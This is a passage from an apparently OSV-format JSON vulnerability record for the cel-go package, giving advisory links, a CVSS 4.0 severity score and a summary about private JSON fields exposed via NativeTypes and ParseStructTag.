      "type": "WEB",
      "url": "https://github.com/cel-expr/cel-go/security/advisories/GHSA-gcjh-h69q-9w9g"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cel-expr/cel-go"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "cel-go: JSON Private Fields Exposed via NativeTypes and ParseStructTag"
}